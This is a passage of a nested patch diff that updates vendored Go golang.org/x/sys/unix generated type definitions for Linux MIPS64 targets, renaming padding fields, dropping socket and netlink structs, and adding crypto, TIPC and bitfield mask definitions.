-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
- Events uint32
-+ _ int32
- Fd int32
- Pad int32
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -685,20 +233,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -710,13 +249,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -740,55 +278,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Frsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Flags int64
-+ Spare [5]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x20001269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint64
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint64
-+ Reserved [4]int8
-+ _ [4]byte
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-index f9bd1ab0..16add5a2 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64le.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]uint32
-@@ -117,139 +100,29 @@ type Stat_t struct {
- Blocks int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Frsize int64
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int64
-- Flags int64
-- Spare [5]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -609,70 +190,37 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
- Events uint32
-+ _ int32
- Fd int32
- Pad int32
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -685,20 +233,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -710,13 +249,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -740,55 +278,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
